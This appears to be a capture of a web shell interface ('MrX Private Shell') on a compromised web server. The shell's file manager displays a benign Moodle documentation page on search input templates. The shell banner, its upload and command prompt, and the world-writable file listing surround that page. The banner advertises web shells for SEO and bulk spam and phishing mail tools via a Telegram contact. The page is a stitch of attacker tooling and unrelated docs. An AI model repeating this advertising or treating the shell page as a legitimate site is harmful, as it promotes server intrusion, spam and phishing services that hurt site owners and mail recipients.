__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
---
layout: docs
title: "Search input"
description: "find items in a collection of data"
date: 2020-08-26T16:32:24+01:00
draft: false
weight: 60
tags:
- Introduced in Moodle 3.10
- MDL-69454
---

## How it works

Single searches allow the user the quickly search a collection of data. A search is input in the search field and the results are shown immediately (using JS) or after the search has been posted to Moodle.

Searches are used in the page navbar, blocks, module pages, settings, the contentbank etc.

## Example

<div class="small">
Default search input.
</div>
{{< mustache template="core/search_input" >}}
    {
        "action": "https://moodle.local/admin/search.php",
        "extraclasses": "my-2",
        "inputname": "search",
        "inform": false,
        "searchstring": "Search something",
        "hiddenfields": [
            {
                "name": "context",
                "value": "11"
            }
        ]
    }
{{< /mustache >}}
<div class="mt-3 small">
Emphasized search input using .btn-primary
</div>
{{< mustache template="core/search_input" >}}
    {
        "action": "https://moodle.local/admin/search.php",
        "extraclasses": "my-2",
        "uniqid": "Unique string",
        "inputname": "search",
        "inform": false,
        "btnclass": "btn-primary",
        "searchstring": "Search something",
        "hiddenfields": [
            {
                "name": "context",
                "value": "11"
            }
        ]
    }
{{< /mustache >}}

**Use**

Use a default search input when searching is not expected to be the primary action on this page. Use the emphasized search when it is the default action AND the only search input found on the page. (except the navbar search).

**Variables**

* action: used to specify the form (get) action
* extraclasses: add these css classes to the search wrapper
* uniqid: Unique string
* inputname: form field name for search input
* inform: search is part of a larger form
* query: current search value from user input
* btnclass: use a btn class for the btn design, (btn-secondary, btn-primary)
* searchstring: string describing current search for placeholder and aria-label
* hiddenfields: array with name valua pairs for extra hidden form fields

<div class="my-5"></div>

### Auto search input with clear option

{{< mustache template="core/search_input_auto" >}}
    {
        "placeholder": "Search settings",
        "uniqid": "45"
    }
{{< /mustache >}}

**Use**

This search option is used when the search imput immediately triggers updating data displayed below the search, for example: a table of usernames. It includes a clear button that clears the input on typeing.

**Variables**

* uniqid: Unique string
* placeholder: search placeholder

<div class="my-5"></div>

### Navbar search form

{{< mustache template="core/search_input_navbar" >}}
    {
        "action": "https://moodle.local/admin/search.php",
        "inputname": "search",
        "searchstring": "Search",
        "hiddenfields": [
            {
                "name": "cmid",
                "value": "11"
            }
        ]
    }
{{< /mustache >}}

**Use**

This search should be used once on the page and triggers a global site search. It uses a minimal amount of space to prevent breakage on mobile use.

**Features**

* click search button to start typing
* click close button to hide search
* click enter after input to post the form
* uses very little space
* overlaps navbar when viewed on mobile.

Filemanager

Name Type Size Permission Actions
_index.md File 85 B 0777
actionmenu.md File 6.39 KB 0777
activityicons.md File 8.38 KB 0777
buttons.md File 5.9 KB 0777
coursecards.md File 6.26 KB 0777
dom-modal.md File 4.29 KB 0777
dropdowns.md File 13.23 KB 0777
dynamictabs.md File 2.87 KB 0777
example.md File 1.52 KB 0777
footer.md File 1.49 KB 0777
form-elements.md File 1.08 KB 0777
moodle-icons.md File 1.71 KB 0777
notifications.md File 2.55 KB 0777
search-input.md File 3.42 KB 0777
showmore.md File 1.18 KB 0777
toggle.md File 2.29 KB 0777
Filemanager